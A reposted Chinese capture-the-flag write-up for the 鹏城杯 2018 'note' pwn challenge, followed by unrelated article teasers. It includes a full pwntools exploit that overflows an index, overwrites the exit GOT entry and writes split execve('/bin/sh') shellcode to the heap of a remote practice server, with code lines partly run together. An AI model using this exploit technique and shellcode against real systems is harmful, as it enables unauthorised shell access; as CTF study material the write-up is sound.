鹏城杯_2018_note

news/2024/11/20 15:39:47/

查看保护,就开了 PIE:

漏洞点:

buf 存在溢出,刚好可以溢出到 idx,而且没有开 PIE 和 FULL RELRO,所以可以修改 idx 去修改相关 got 表项。

然后我就没啥思路了,因为在我的本地环境堆上是没有可执行权限的,然后去网上搜了一下,发现其都说堆上有可执行权限。然后看了下 buu 给的是 ubu18,所以应该是环境的问题,远程堆上应该有可执行权限。 

利用方式:

修改 exit got 表为堆上地址,然后往堆上写入 shellcode,由于写入字节有限,所以 shellcode 得分段写入,exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node4.buuoj.cn", 29116)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''def add(idx, size, data):sl(b'1')sleep(0.02)sl(byte(idx))sleep(0.02)sl(size)sleep(0.02)sl(data)sleep(0.01)pay = b'13'.ljust(10, b'\x00') + p32(0xFFFFFFF8)shellcode = asm("""mov rax,0x0068732f6e69622fjmp $+0x16
""")info("shellcode len", len(shellcode))
add(0, pay, shellcode)shellcode = asm("""push raxmov rdi, rspxor rsi, rsijmp $+0x19
""")
info("shellcode len", len(shellcode))
add(1, b'13\x00', shellcode)shellcode = asm("""xor rdx, rdxmov rax, 0x3bsyscall
""")
info("shellcode len", len(shellcode))
add(2, b'13\x00', shellcode)sl(b'5')#debug()
sh()

远程可以通,而本地堆上无可执行权限,所以打不通:


http://www.ppmy.cn/news/1198020.html

相关文章

【Java初阶练习题】-- 数组练习题

数组练习题 1. 创建的数组,并且赋初始值2. 改变原有数组元素的值3. 数组所有元素之和4. 奇数位于偶数之前5.两数之和6. 只出现一次的数字7. 多数元素8. 给你一个整数数组 arr,请你判断数组中是否存在连续三个元素都是奇数的情况:如果存在&…

【CMU15445】Fall 2019, Project 3: Query Execution 实验记录

目录 实验准备实验测试Task 1: CREATING A CATALOG TABLE SQL 执行是由数据库解析器转化为一个由多个 executor 组成的 Query Plan 来完成的,本实验选择了火山模型来完成 query execution,这一次的 project 就是实现各种 exeutor,从而可以通过…

gcc -static 在centos stream8 和centos stream9中运行报错的解决办法

gcc -static 在centos stream8 和centos stream9中运行报错的解决办法: 报/usr/bin/ld: cannot find -lc 我们下载glibc-static: 选择x86_64的。 还有一个是libxcrypt-static,依旧在这个网站里搜。 rpm -ivh glibc-static-2.28-239.el8.x…

Centralized Feature Pyramid for Object Detection解读

Centralized Feature Pyramid for Object Detection 问题 主流的特征金字塔集中于层间特征交互,而忽略了层内特征规则。尽管一些方法试图在注意力机制或视觉变换器的帮助下学习紧凑的层内特征表示,但它们忽略了对密集预测任务非常重要的被忽略的角点区…

使用Java工作流简单介绍

本人详解 作者:王文峰,参加过 CSDN 2020年度博客之星,《Java王大师王天师》 公众号:JAVA开发王大师,专注于天道酬勤的 Java 开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯 山峯 转载说明:务必注明来源(注明:作者:王文峰…

Jetpack:029-Jetpack中的网格布局

文章目录 1. 概念介绍2. 使用方法3. 代码与效果3.1 示例代码3.2 运行效果 4. 内容总结 我们在上一章回中介绍了Jetpack中Card相关的内容,本章回中主要介 网格布局。闲话休提,让我们一起Talk Android Jetpack吧! 1. 概念介绍 我们在本章回中…

Qt界面美化之Qt Style Sheets

Qt style sheet 简称QSS style sheet可以在代码中单独对某个控件使用,例如: labelLEDLIN new QLabel("",this); labelLEDLIN->setFixedSize(36,36); labelLEDLIN->setStyleSheet("background-color:red;border-radius:18px;colo…

算法题:53. 最大子数组和(动态规划)Java Python 实现

1、解题思路 该图引用自:力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 2、动态规划解法-Python代码 # 空间未做优化时的代码,保留本部分代码是为了便于理解 # class Solution: # def maxSubArray(self, nums): # …